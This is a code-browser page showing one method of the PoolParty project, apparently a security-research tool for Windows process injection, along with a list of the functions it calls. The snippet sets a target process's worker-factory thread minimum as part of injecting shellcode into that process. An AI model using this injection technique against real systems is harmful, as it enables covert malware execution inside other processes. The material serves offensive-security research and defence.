MCPcopy Create free account
hub / github.com/SafeBreach-Labs/PoolParty / SetupExecution

Method SetupExecution

PoolParty/PoolParty.cpp:101–106  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

99}
100
101void WorkerFactoryStartRoutineOverwrite::SetupExecution() const
102{
103 ULONG WorkerFactoryMinimumThreadNumber = m_WorkerFactoryInformation.TotalWorkerCount + 1;
104 w_NtSetInformationWorkerFactory(*m_p_hWorkerFactory, WorkerFactoryThreadMinimum, &WorkerFactoryMinimumThreadNumber, sizeof(ULONG));
105 BOOST_LOG_TRIVIAL(info) << boost::format("Set target process worker factory minimum threads to: %d") % WorkerFactoryMinimumThreadNumber;
106}
107
108RemoteTpWorkInsertion::RemoteTpWorkInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize)
109 : PoolParty{ dwTargetPid, cShellcode, szShellcodeSize }

Callers 1

InjectMethod · 0.80

Calls 15

w_CreateThreadpoolWorkFunction · 0.85
w_VirtualAllocExFunction · 0.85
w_WriteProcessMemoryFunction · 0.85
w_CreateThreadpoolWaitFunction · 0.85
w_CreateEventFunction · 0.85
w_SetEventFunction · 0.85
w_CreateFileFunction · 0.85
w_CreateThreadpoolIoFunction · 0.85
w_ZwSetInformationFileFunction · 0.85
w_WriteFileFunction · 0.85

Tested by

no test coverage detected